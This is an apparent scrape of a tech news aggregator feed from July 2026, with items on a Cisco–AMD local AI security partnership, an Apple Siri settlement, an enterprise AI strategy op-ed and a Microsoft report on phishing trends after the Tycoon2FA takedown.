<p class="wp-block-paragraph"><strong><a href="https://techcrunch.com/events/techcrunch-disrupt/?utm_source=cio&amp;utm_medium=partner&amp;utm_campaign=disrupt2026&amp;utm_content=partnerdiscount&amp;promo=cio10&amp;display=true">Get 10% off your TechCrunch Disrupt</a> pass with the exclusive code CIO10.</strong> </p>



<p class="wp-block-paragraph">This year’s <a href="https://techcrunch.com/events/techcrunch-disrupt/">TechCrunch Disrupt</a>, held Oct. 13-15 at San Francisco’s Moscone West, will feature big-picture conversations on what’s next in AI; discussions on how AI agents are rewriting SaaS, enterprise workflows, software pricing, and security; and demonstrations of AI’s future across robotics, manufacturing, defense, and industrial operations; and more.</p>



<p class="wp-block-paragraph">Over 10,000 attendees will hear from 250-plus startup founders, technology executives, and enterprise IT leaders about how the future of programming is being rewritten, what enterprise AI security requires, how startups are orchestrating workloads across models while managing cost and reliability at scale, why creating a safety culture is essential for AI deployment, and how startups are deciding what work humans should own versus what should be delegated to AI as they work to build hybrid teams without losing speed, accountability, or culture.</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper youtube-video">

</div></figure>



<p class="wp-block-paragraph">And of course, the rising tide of enterprise-focused startups will be there seeking to bring agentic systems to your business workflows, as well as vendors familiar to your enterprise IT portfolios, such as AWS, Google, and Databricks, and enterprise IT colleagues creating mutually beneficial partnerships with the startup community, such as American Express.</p>



<p class="wp-block-paragraph">That’s not to mention TechCrunch Disrupt’s signature <a href="https://techcrunch.com/startup-battlefield/">Startup Battlefield</a>, in which 200 standout companies showcase their innovations to compete for a $100K equity-free prize. The battlefield will give CIOs a rapid-fire, broad view of what’s possible — and a possible early look at the next big enterprise player. After all, Dropbox, Trello, and Cloudflare, among others, roamed that same battlefield before the world knew their names.</p>



<p class="wp-block-paragraph">And with M&amp;A now an early-stage startup strategy for many from day one, TechCrunch Disrupt’s exhibition floor provides IT leaders not just an opportunity to discuss the nuts and bolts of innovation architecture or how an upstart product can enhance your workflows, but a chance to find your next innovation partner, or more.</p>



<p class="wp-block-paragraph">Leading-edge startups are figuring out how to make AI work at scale. Shouldn’t you be?</p>



<p class="wp-block-paragraph"><strong>Don’t miss your chance to experience TechCrunch Disrupt 2026. <a href="https://techcrunch.com/events/techcrunch-disrupt/?utm_source=cio&amp;utm_medium=partner&amp;utm_campaign=disrupt2026&amp;utm_content=partnerdiscount&amp;promo=cio10&amp;display=true">Book your pass today and use the exclusive code CIO10</a> to save 10% before prices increase.</strong></p>
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<title><![CDATA[Cisco, AMD partner to bring enterprise-level security, visibility to Ryzen AI Halo systems]]></title>
<description><![CDATA[Cisco and AMD have expanded their partnership with a new package of hardware and security software that’s designed to help enterprise customers protect, deploy, and manage distributed AI resources.



During AMD’s Advancing AI event this week, Cisco’s president and chief product officer Jeetu Pat...]]></description>
<link>https://tsecurity.de/de/3692178/it-security-nachrichten/cisco-amd-partner-to-bring-enterprise-level-security-visibility-to-ryzen-ai-halo-systems/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692178/it-security-nachrichten/cisco-amd-partner-to-bring-enterprise-level-security-visibility-to-ryzen-ai-halo-systems/</guid>
<pubDate>Fri, 24 Jul 2026 19:18:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Cisco and AMD have expanded their partnership with a new package of hardware and security software that’s designed to help enterprise customers protect, deploy, and manage distributed AI resources.</p>



<p class="wp-block-paragraph">During AMD’s <a href="https://www.amd.com/en/corporate/events/advancing-ai.html">Advancing AI event</a> this week, Cisco’s president and chief product officer <a href="https://www.networkworld.com/article/4184554/how-jeetu-patel-made-cisco-unrecognizable.html">Jeetu Patel</a> took to the stage during AMD CEO <a href="https://www.amd.com/en/corporate/events/advancing-ai.html">Lisa Su’s keynote</a> to talk about how AI inference will be widely distributed and will require an architectural stack of software and tools that Cisco and <a href="https://www.networkworld.com/article/4199402/helios-marks-amds-biggest-ai-infrastructure-push-yet.html">AMD</a> are partnering to develop.</p>



<p class="wp-block-paragraph">The joint architecture combines AMD’s compact, high-performance Ryzen AI Halo hardware and a variety of Cisco networking, observability, governance, and security technologies. “AMD provides the deskside/local AI platform. At the foundation is AMD Ryzen AI Halo hardware, an isolated agent sandbox and the services needed for local-first inferencing, including model routing and token limits via AMD’s Semantic Router and local inference on Lemonade,” wrote Cisco’s <a href="https://www.linkedin.com/in/yash-sheth-/">Yash Sheth</a>, senior director, engineering and research, in a <a href="https://blogs.cisco.com/ai/from-one-desk-to-the-whole-enterprise-making-local-ai-resilient">blog post</a> about the new package.</p>



<p class="wp-block-paragraph"><a href="https://www.amd.com/en/products/processors/desktops/ryzen/ryzen-ai-halo.html?gad_source=1&amp;gad_campaignid=24009436319&amp;gbraid=0AAAAApk3AUDJs1_xMEd2YjxcG8iJu-gS4&amp;gclid=Cj0KCQjw94bTBhDQARIsAN3vv0xmM9xu9mXa5H5zAbKFqNzUy1FPP5AS-lOA1qXh1a9bmw54LMQtYXgaArV-EALw_wcB">Ryzen AI Halo</a> (pictured below) is designed to support local AI inference on an AI PC using its CPU, GPU, and XDNA neural processing unit (NPU), according to AMD. A resilient AI platform should continue delivering useful AI services even when connectivity is limited, models need to change, or workloads shift, AMD stated.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;</figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">Cisco then wraps that platform in a secure harness that includes its Splunk Agent Observability plus Splunk Infrastructure Monitoring to provide full-stack observability, tracking agent behavior, tokenomics and compute operation, according to Sheth.</p>



<p class="wp-block-paragraph">Cisco also brings its <a href="https://www.networkworld.com/article/4148823/cisco-goes-all-in-on-agentic-ai-security.html">AI Defense</a> for model and agent security; <a href="https://www.networkworld.com/article/4179673/cisco-brings-agentic-ops-platform-and-security-overhaul-to-cisco-live.html">DefenseClaw</a> for security policy enforcement, so guardrails are enforced directly on-device, within the agent harness; and <a href="https://www.networkworld.com/article/4180810/what-is-cisco-cloud-control-and-why-should-customers-care.html">Cisco Cloud Control</a> offering a single pane of glass for unified policy and control, Sheth stated.</p>



<p class="wp-block-paragraph">“To make deskside and local AI computing work at enterprise scale, every AI node must be treated as a secure, managed node in the enterprise network,” Sheth wrote.</p>



<p class="wp-block-paragraph">“The need for token efficiency and data sovereignty is driving a new class of computing, deskside computing, with users and teams putting AI agents right by their sides,” Sheth wrote. “Inference is moving to a hybrid architecture with thousands of ambient deskside agents in an enterprise helping employees have 24×7 productivity. That’s an extraordinary opportunity. It’s also a brand-new operating challenge.”</p>



<p class="wp-block-paragraph">As agentic AI moves from experimentation to real enterprise workflows, organizations need more than powerful endpoints. AI agents can run continuously and act on enterprise data, but create new requirements for network infrastructure, tokenomics, agent behavior, and security, according to a <a href="https://newsroom.amd.com/news/aai-2026-cisco-client-partnership-update/">statement</a> from AMD.</p>



<p class="wp-block-paragraph">“Running more AI locally can help improve responsiveness, keep sensitive data closer to users, and reduce dependence on cloud-only approaches, but enterprises also need a way to monitor and manage these systems at scale. AMD and Cisco are addressing that gap by collaborating to pair high-performance local AI compute with the observability, governance, and control infrastructure needed for enterprises to deploy it responsibly,” AMD stated.</p>



<p class="wp-block-paragraph">“By combining AMD Ryzen AI Halo systems and our broader local AI software capabilities with Cisco’s enterprise networking, observability and security technologies, we are helping customers deploy AI in a way that is performant, secure, observable and manageable at scale,” said Jack Huynh, senior vice president and general manager, computing and graphics group with AMD, in a statement.</p>



<p class="wp-block-paragraph">A few other interesting statistics and trends cited in AMD CEO Su’s keynote include:</p>



<ul class="wp-block-list">
<li>AI adoption is accelerating across all industries, with agentic AI driving a surge in compute demand and shifting workloads from training to inference, which accounts for 60% of global AI compute capacity in 2026.</li>



<li>AI is moving beyond the cloud, with edge and personal devices becoming critical for real-time, distributed intelligence.</li>



<li>The AI accelerator market is projected to reach $1.4 trillion by 2030, nearly tripling previous forecasts, with GPUs expected to dominate but CPUs gaining new growth vectors due to agentic AI.</li>



<li>Server CPU market is forecasted to grow over 50% to $200 billion by 2030, fueled by rapid agentic AI adoption and the need for massive CPU infrastructure.</li>
</ul>
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<title><![CDATA[Judge approves Apple's $250 million settlement offer over Siri lawsuit]]></title>
<description><![CDATA[A lawsuit over Apple's failure to deliver Apple Intelligence and Siri features is moving closer to a conclusion as a judge has provisionally approved the company's settlement offer.Apple has settled a class-action lawsuit over its delayed Siri features.The class action suit filed in 2025 alleged ...]]></description>
<link>https://tsecurity.de/de/3691966/ios-mac-os/judge-approves-apples-250-million-settlement-offer-over-siri-lawsuit/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691966/ios-mac-os/judge-approves-apples-250-million-settlement-offer-over-siri-lawsuit/</guid>
<pubDate>Fri, 24 Jul 2026 17:50:14 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A lawsuit over Apple's failure to deliver <a href="https://appleinsider.com/inside/apple-intelligence" title="Apple Intelligence" data-kpt="1">Apple Intelligence</a> and Siri features is moving closer to a conclusion as a judge has provisionally approved the company's settlement offer.<br><br><div><img src="https://photos5.appleinsider.com/gallery/67552-142286-66856-140246-Apple-Intelligence-lawsuit-gavel-xl.jpg" alt="Wooden judge's gavel resting on a block, with an Apple logo surrounded by a decorative atomic-style pattern engraved on the gavel head against a neutral gray background"><br><span>Apple has settled a class-action lawsuit over its delayed Siri features.</span></div><br>The class action suit <a href="https://appleinsider.com/articles/25/07/29/apples-delayed-siri-update-spawns-another-securities-lawsuit">filed in 2025</a> alleged that people had bought new <a href="https://appleinsider.com/inside/iphone" title="iPhone" data-kpt="1">iPhones</a> expressly because of Apple's promoting of Apple Intelligence features that it then did not deliver. Apple admitted in March 2025 that the new Siri features <a href="https://appleinsider.com/articles/25/03/07/apple-confirms-that-apple-intelligence-siri-features-are-taking-longer-than-expected">were delayed</a>, but then in May 2025 <a href="https://appleinsider.com/articles/26/05/05/lawsuit-over-delayed-siri-features-reaches-massive-250m-settlement">offered a settlement</a>.<br><br>Apple and the parties to the class action suit agreed to a $250 million settlement, but it had to be approved. Now <a href="https://storage.courtlistener.com/recap/gov.uscourts.cand.446692/gov.uscourts.cand.446692.94.0_1.pdf">in a filing</a> in the US District Court, Northern District of California, judge Noel Wise has provisionally given approval.<br><br><br> <a href="https://appleinsider.com/articles/26/07/24/judge-approves-apples-250-million-settlement-offer-over-siri-lawsuit?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245055?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
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<title><![CDATA[What is preventing employees from changing careers, asks Indeed?]]></title>
<description><![CDATA[Indeed’s report found that three out of four Ireland-based employees imagine moving into a new field, but are unsure of how to take the leap. 
Read more: What is preventing employees from changing careers, asks Indeed?]]></description>
<link>https://tsecurity.de/de/3691861/it-nachrichten/what-is-preventing-employees-from-changing-careers-asks-indeed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691861/it-nachrichten/what-is-preventing-employees-from-changing-careers-asks-indeed/</guid>
<pubDate>Fri, 24 Jul 2026 17:02:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Indeed’s report found that three out of four Ireland-based employees imagine moving into a new field, but are unsure of how to take the leap. </p>
<p>Read more: <a rel="nofollow" href="https://www.siliconrepublic.com/careers/preventing-employees-changing-careers-indeed-ireland-skill-working-life">What is preventing employees from changing careers, asks Indeed?</a></p>]]></content:encoded>
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<title><![CDATA[Why Trump Media’s New API Is Raising Questions on Capitol Hill]]></title>
<description><![CDATA[Trump Media's planned Truth API is drawing regulatory scrutiny as lawmakers question whether premium access to market-moving Truth Social posts creates fairness concerns.
The post Why Trump Media’s New API Is Raising Questions on Capitol Hill appeared first on TechRepublic.]]></description>
<link>https://tsecurity.de/de/3691824/it-nachrichten/why-trump-medias-new-api-is-raising-questions-on-capitol-hill/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691824/it-nachrichten/why-trump-medias-new-api-is-raising-questions-on-capitol-hill/</guid>
<pubDate>Fri, 24 Jul 2026 16:46:17 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Trump Media's planned Truth API is drawing regulatory scrutiny as lawmakers question whether premium access to market-moving Truth Social posts creates fairness concerns.</p>
<p>The post <a href="https://www.techrepublic.com/article/news-trump-media-truth-api-market-data-regulatory-scrutiny/">Why Trump Media’s New API Is Raising Questions on Capitol Hill</a> appeared first on <a href="https://www.techrepublic.com/">TechRepublic</a>.</p>]]></content:encoded>
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<title><![CDATA[What I track in a day]]></title>
<description><![CDATA[This is Optimizer, a weekly newsletter sent from Verge senior reviewer Victoria Song that dissects and discusses the latest gizmos and potions that swear they're going to change your life. Optimizer will be taking a two-week break and will be moving to Wednesdays starting August 12th. Opt in for ...]]></description>
<link>https://tsecurity.de/de/3691780/it-nachrichten/what-i-track-in-a-day/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691780/it-nachrichten/what-i-track-in-a-day/</guid>
<pubDate>Fri, 24 Jul 2026 16:21:28 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[This is Optimizer, a weekly newsletter sent from Verge senior reviewer Victoria Song that dissects and discusses the latest gizmos and potions that swear they're going to change your life. Optimizer will be taking a two-week break and will be moving to Wednesdays starting August 12th. Opt in for Optimizer here. My For You page […]]]></content:encoded>
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<title><![CDATA[Seeing AI Agents Is Not Enough. Security Teams Must Enforce What They Can Do]]></title>
<description><![CDATA[AI agent security is moving through a familiar maturity curve: adoption, then visibility, and finally, control. But what we've collectively discovered is that enforcing least privilege for AI agents is harder than we ever imagined. This is why there are so many approaches, from prompt filtering t...]]></description>
<link>https://tsecurity.de/de/3691425/it-security-nachrichten/seeing-ai-agents-is-not-enough-security-teams-must-enforce-what-they-can-do/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691425/it-security-nachrichten/seeing-ai-agents-is-not-enough-security-teams-must-enforce-what-they-can-do/</guid>
<pubDate>Fri, 24 Jul 2026 13:41:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[AI agent security is moving through a familiar maturity curve: adoption, then visibility, and finally, control. But what we've collectively discovered is that enforcing least privilege for AI agents is harder than we ever imagined. This is why there are so many approaches, from prompt filtering to identity-layer access controls. Where we've collectively landed is that understanding the intent of]]></content:encoded>
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<title><![CDATA[Seeing AI Agents Is Not Enough. Security Teams Must Enforce What They Can Do]]></title>
<description><![CDATA[AI agent security is moving through a familiar maturity curve: adoption, then visibility, and finally, control. But what we’ve collectively discovered is that enforcing least privilege for AI agents is harder than we ever imagined. This is why there are…
Read more →
The post Seeing AI Agents Is N...]]></description>
<link>https://tsecurity.de/de/3691420/it-security-nachrichten/seeing-ai-agents-is-not-enough-security-teams-must-enforce-what-they-can-do/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691420/it-security-nachrichten/seeing-ai-agents-is-not-enough-security-teams-must-enforce-what-they-can-do/</guid>
<pubDate>Fri, 24 Jul 2026 13:41:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>AI agent security is moving through a familiar maturity curve: adoption, then visibility, and finally, control. But what we’ve collectively discovered is that enforcing least privilege for AI agents is harder than we ever imagined. This is why there are…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/seeing-ai-agents-is-not-enough-security-teams-must-enforce-what-they-can-do/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/seeing-ai-agents-is-not-enough-security-teams-must-enforce-what-they-can-do/">Seeing AI Agents Is Not Enough. Security Teams Must Enforce What They Can Do</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Why I changed how I pitch AI: It’s no longer about saving money, but managing tokens and adoption]]></title>
<description><![CDATA[I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.



The initial hype has ...]]></description>
<link>https://tsecurity.de/de/3691324/it-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/</link>
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<pubDate>Fri, 24 Jul 2026 13:04:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.</p>



<p class="wp-block-paragraph">The initial hype has faded, leaving CIOs to drive real enterprise value. Based on my experience implementing Google, OpenAI and Anthropic technologies, here are the fundamental, technology-agnostic lessons every leader must anchor their strategy around.</p>



<h2 class="wp-block-heading"><a></a>AI as a leadership multiplier</h2>



<p class="wp-block-paragraph">The most common tactical error we see is treating AI as an isolated technology project. What I have observed among our customers is that true success does not come from organizations that define a standalone “AI strategy,” but rather from those leaders that integrate AI into their business strategy.</p>



<p class="wp-block-paragraph">When our customers isolate AI and define an AI strategy, it inevitably treats it like a “technological toy” to experiment with. This approach yields fragmented, orphaned initiatives that fail to scale because they are fundamentally disconnected from their core corporate objectives. What I learned is that AI is not the ultimate destination; it is a powerful catalyst. We have replaced “What can AI do for our customers?” with a more strategic question, “How does AI accelerate their existing business goals?”</p>



<p class="wp-block-paragraph">Think of AI like electricity. No modern corporation designs a standalone “electricity strategy.” Instead, all companies route it invisibly across the entire organization to illuminate offices, power production lines and drive communication. AI must be woven into the enterprise fabric in the exact same way, acting as an underlying utility that supercharges your existing operational model.</p>



<p class="wp-block-paragraph">Integrating AI into the broader business strategy also dictates how we measure success. It forces a shift away from short-term tech vanity metrics and anchors the technology into a long-term roadmap.</p>



<p class="wp-block-paragraph">When AI remains trapped within the IT department of our customers, we notice that it is relegated to a mere “software experiment.” To become a true competitive advantage, we observed that AI requires intense cross-functional orchestration. This perspective does not diminish the merit of the technical team; their expertise is fundamental for establishing the architecture, data governance and tools your enterprise requires. However, while IT builds the foundational infrastructure, it lacks the organizational authority to decide what should be built on top of it. Only the CEO or the owner of the company can step in to ensure AI leaves the “toy project” phase and integrates into the DNA of the organization.</p>



<p class="wp-block-paragraph">The requirement for top-down, executive ownership stems from three critical realities observed in the field:</p>



<ul class="wp-block-list">
<li><strong>Silo-smashing and data collaboration:</strong> True enterprise AI is data-hungry and that data lives across disparate business lines, finance, operations, marketing and customer service. Only the CEO possesses the cross-functional authority to demand that data silos be dismantled.</li>



<li><strong>Cultural transformation and fear mitigation:</strong> AI triggers widespread anxiety over job displacement across all industries and hierarchies. When relegated to an “IT project,” resistance spikes as teams view it as a threat to their livelihoods. When I saw the CEO lead this cultural shift directly is when I noticed the best results.</li>



<li><strong>C-Suite education and strategic alignment:</strong> The mandate for AI capability cannot just be delegated downward; the transformation must begin at the very top. I have conducted more than 70 presentations for the Board of Directors and C-Level teams. These people need to be actively educated not on technical code, but on specific business use cases, return on investment (ROI) frameworks and how AI resolves core organizational bottlenecks.</li>
</ul>



<p class="wp-block-paragraph"><a href="https://www.pwc.com/gx/en/issues/c-suite-insights/ceo-survey.html">PwC’s data found that only 12% of enterprises have achieved both cost and revenue benefits from AI</a>. Those elite 12% succeeded precisely because their CEOs embedded AI extensively across <em>strategic decision-making and cross-functional workflows</em>. AI is simply too disruptive and too critical to be left exclusively in the hands of technical experts. If AI is not on the CEO’s weekly agenda, it is fundamentally missing from the company’s true strategy.</p>



<h2 class="wp-block-heading"><a></a>AI as a new operational framework</h2>



<p class="wp-block-paragraph">Traditional IT systems have operated on strict algorithmic certainty: if you input a specific set of data, the system executes an immutable line of code and guarantees the same, predictable output every single time.</p>



<p class="wp-block-paragraph">AI completely breaks this paradigm. Because modern AI is built on probabilistic models, it does not execute static formulas; instead, it predicts the most likely correct response based on mathematical probabilities. This means that AI solutions carry an inherent, small percentage of uncertainty and variability. A prompt entered today might yield a slightly different, though contextually valid, output tomorrow.</p>



<p class="wp-block-paragraph">Executive leadership and organizational cultures must be actively educated to accept and navigate this fundamental shift. Traditional quality assurance frameworks for software are designed for a 100% success rate. Applying this rigid standard to AI will paralyze your initiatives, keeping 80% of your projects trapped eternally in the pilot phase. This happened to us in a food and beverage company in Latin America a couple of years ago. After this experience, we started to include conditions in our contracts that tolerate statistical margins of error and still define the project as a success.</p>



<p class="wp-block-paragraph">In terms of cost calculation, we had to teach CIOs and business managers to forget the monthly subscription model for AI and learn to manage the primary unit of exchange in modern AI: the token.</p>



<p class="wp-block-paragraph">To understand AI costs, executives must understand how large language models process data. AI models do not read full words; instead, they break text, images or code down into “pieces” called tokens. As a baseline, every 100 words process as approximately 130 to 140 tokens. Because the major AI providers use the token as their currency, <a href="https://arxiv.org/pdf/2604.22750">your business is billed dynamically based on the exact volume of tokens consumed</a> by every query submitted (input) and every response generated (output).</p>



<p class="wp-block-paragraph">Many leaders believe AI costs are fixed due to flat-rate enterprise tiers ($25–$30/user). This is a temporary illusion. These venture-capital-subsidized rates mask true operational costs and come with dynamic usage limits. Modeling long-term ROI on them guarantees a severe budget shock when true consumption pricing takes over.</p>



<p class="wp-block-paragraph">The solution is not to halt AI adoption; doing so means losing your competitive edge. Instead, the cost per token must cease to be treated as a technical footnote relegated to the IT department. It must be elevated to a core business variable.</p>



<h2 class="wp-block-heading">Risks in the AI adoption model</h2>



<p class="wp-block-paragraph">Since the beginning of the AI boom, I have seen all our customers making a critical tactical error that could cost them heavily in the medium term: they are focusing only on operational efficiency (reducing costs with AI).</p>



<p class="wp-block-paragraph">I have observed that an alarmingly high percentage of companies remain trapped in pilot phases focused exclusively on short-term cost reduction. <a href="https://www.bain.com/insights/your-ai-budget-is-growing-your-returns-arent-heres-why/">Bain &amp; Company’s global Automation and AI Pathfinder Survey </a>found that the largest share of companies measuring their AI initiatives (exactly 40%) realized cost reductions of 10% or less, heavily missing their internal targets. Our customers are putting too many resources and effort into marginal financial gains and in doing so, they are jeopardizing their most valuable assets: service quality, resilience and customer trust.</p>



<p class="wp-block-paragraph">Utilizing AI solely to slash headcount or cut operational corners is a dangerous trap that introduces severe field liabilities. A financial service organization in Latin America announced that they saved $1 million in customer support by replacing humans with AI chatbots. However, the mid-term reality revealed a different story: a damaged brand reputation due to AI errors and an influx of frustrated clients fleeing because the automated system cannot handle special cases.</p>



<p class="wp-block-paragraph">Putting a company on an extreme AI diet might make it look leaner on next quarter’s financial statement, but over-indexing on cost-cutting will ultimately leave the business too weak to compete when market dynamics shift. We are now inviting our customers to change the question from <em>“How much money will AI save us?”</em> to <em>“How will we leverage AI to exponentially increase the long-term value of our enterprise?”</em></p>



<p class="wp-block-paragraph">Deploying enterprise AI is a marathon, not a sprint, and the terrain changes with every mile. The organizations that thrive in this next era will be those that transition from fascination to discipline, treating AI not as a magic bullet for immediate savings, but as a core capability that demands rigorous governance, architectural foresight and cultural maturity. Navigating this shift requires moving past the theoretical hype and anchoring decisions in raw, field-tested reality.</p>



<p class="wp-block-paragraph">As we continue to deploy these technologies across industries, the blueprint for success is being rewritten in real time. Let’s keep this conversation going as we map out the future of business intelligence together.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[The case for moving creative production AI to the edge]]></title>
<description><![CDATA[As creative AI scales, local deployment can give enterprises more control and flexibility.]]></description>
<link>https://tsecurity.de/de/3691279/it-nachrichten/the-case-for-moving-creative-production-ai-to-the-edge/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691279/it-nachrichten/the-case-for-moving-creative-production-ai-to-the-edge/</guid>
<pubDate>Fri, 24 Jul 2026 12:33:34 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[As creative AI scales, local deployment can give enterprises more control and flexibility.]]></content:encoded>
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<title><![CDATA[Email threats changed after the Tycoon2FA take-down]]></title>
<description><![CDATA[Traditional phishing techniques are in decline as a result of the disruption of the Tycoon2FA phishing-as-a-service (PHaaS) platform, Microsoft said in a new report, “Email threat landscape: Q2 2026 trends and insights”.



“Phishing volume linked to the platform fell 92% from pre-disruption aver...]]></description>
<link>https://tsecurity.de/de/3691276/it-nachrichten/email-threats-changed-after-the-tycoon2fa-take-down/</link>
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<pubDate>Fri, 24 Jul 2026 12:33:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Traditional phishing techniques are in decline as a result of the <a href="https://www.csoonline.com/article/4140890/microsoft-leads-takedown-of-tycoon2fa-phishing-service-infrastructure.html">disruption of the Tycoon2FA phishing-as-a-service (PHaaS) platform</a>, Microsoft said in a new report, “Email threat landscape: Q2 2026 trends and insights”.</p>



<p class="wp-block-paragraph">“Phishing volume linked to the platform fell 92% from pre-disruption averages, including QR code phishing and CAPTCHA-gated phishing both declining from their March highs,” the company wrote in <a href="https://www.microsoft.com/en-us/security/blog/2026/07/23/email-threat-landscape-q2-2026-trends-and-insights/">the report</a>.</p>



<p class="wp-block-paragraph">The takedown reduced activity across multiple phishing categories, forcing attackers to shift to newer delivery methods.</p>



<p class="wp-block-paragraph">Riding this shift in were a few notable phishing campaigns, including an automated <a href="https://www.csoonline.com/article/575559/business-email-compromise-scams-take-new-dimension-with-multi-stage-attacks.html">business email compromise</a> (BEC) campaign that reached 42,000 organizations in under three hours, and a multi-stage phishing campaign that used nested email (EML) files, calendar invitations, and a Microsoft authentication redirect to deliver malware.</p>



<p class="wp-block-paragraph">To counter phishing attacks, Microsoft recommends blocking emails containing known bad URLs/ subject fields, enabling password-less authentication methods, or moving to <a href="https://www.csoonline.com/article/4176814/security-experts-caution-mfa-alone-can-no-longer-stop-threat-actors.html">MFA</a> for accounts that still require passwords.</p>



<h2 class="wp-block-heading">Tycoon2FA disruption sent attackers exploring</h2>



<p class="wp-block-paragraph">The take-down of <a href="https://www.csoonline.com/article/4100393/hybrid-2fa-phishing-kits-are-making-attacks-harder-to-detect.html">Tycoon2FA</a> forced its operators to abandon portions of their infrastructure and rework hosting, domain registrations, and delivery mechanisms.</p>



<p class="wp-block-paragraph">“After falling 15% in March and another 22% in April, Tycoon2FA-linked phishing volume dropped 74% in May to just 1.5 million messages, then fell another 20% in June to 1.2 million, by far the lowest monthly volumes observed in at least a year,” Microsoft said.</p>



<p class="wp-block-paragraph">The decline extended to QR Code <a href="https://www.csoonline.com/article/3557585/attackers-are-using-qr-codes-sneakily-crafted-in-ascii-and-blob-urls-in-phishing-emails.html">lures</a> and fake CAPTCHA <a href="https://www.csoonline.com/article/3829416/fake-captcha-attacks-are-increasing-say-experts.html">pages</a>, two phishing techniques in which Tycoon2FA accounted for 12% and 14% of industry activity in June, respectively. This indicated that the platform’s customer base had not been able to migrate to a replacement infrastructure.</p>



<p class="wp-block-paragraph">But cutting off one head of the hacker hydra only gave rise to new tactics elsewhere.</p>



<p class="wp-block-paragraph">The adaptation came in the form of using Microsoft <a href="https://www.csoonline.com/article/4160858/attackers-abuse-microsoft-teams-to-impersonate-the-it-helpdesk-in-a-new-enterprise-intrusion-playbook.html">Teams as a social engineering channel</a>. Attackers established conversations to build trust before attempting credential theft or delivering malicious payloads. “Teams-based phishing volume climbed steadily throughout Q2, with the average number of detected attacks rising 19% from March to April, holding roughly flat into May (+1%), then increasing another 10% into June,” Microsoft said.</p>



<p class="wp-block-paragraph">Microsoft also observed a highly automated BEC campaign that reached over 67,000 users using scripted emails, Amazon Simple Email Service (SES), and engagement tracking, alongside a separate phishing campaign targeting 107,000 users that abused Microsoft’s authentication flow and trusted cloud services, including Teams archive recording and ICS calendar invite, to disguise malware delivery behind legitimate infrastructure.</p>



<h2 class="wp-block-heading">Phishing changes but the defense doesn’t</h2>



<p class="wp-block-paragraph">While QR Code and Captcha-based phishing attacks dropped significantly in the second quarter, business email compromise (BEC) charted jumped 121% between March and April, before dropping down again in May.</p>



<p class="wp-block-paragraph">QR Code phishing represented 8.3 million attacks in June 2026, down from a peak of 18.7 million in March. Similarly, Captcha-gated phishing fell from 12 million attacks in March to 2.2 million in June.</p>



<p class="wp-block-paragraph">BEC attacks hit 9 million in March, falling to 3.9 million in June.</p>



<p class="wp-block-paragraph">But even as these phishing classics lost momentum and newer techniques emerged, Microsoft’s defensive advice remained rooted in the basics. It noted organizations should complement email filtering with phishing-resistant authentication such as passkeys and phishing-resistant <a href="https://www.csoonline.com/article/3535222/mfa-adoption-is-catching-up-but-is-not-quite-there.html">MFA</a> to reduce the effectiveness of credential theft campaigns.</p>



<p class="wp-block-paragraph">The company also recommended strengthening Exchange Online Protection and Microsoft Defender for Office 365 with capabilities such as Safe links and Zero-hour Auto Purge (ZAP), in which malicious emails already delivered to mailboxes are removed before they are read, alongside enforcing password-less authentication methods like Windows Hello, <a href="https://www.csoonline.com/article/4040128/fido-undermined.html">FIDO </a>keys, and Microsoft Authenticator.</p>



<p class="wp-block-paragraph">Microsoft concluded its report with a list of indicators of compromise (IoCs) from the threats observed in the quarter to support detection efforts.</p>



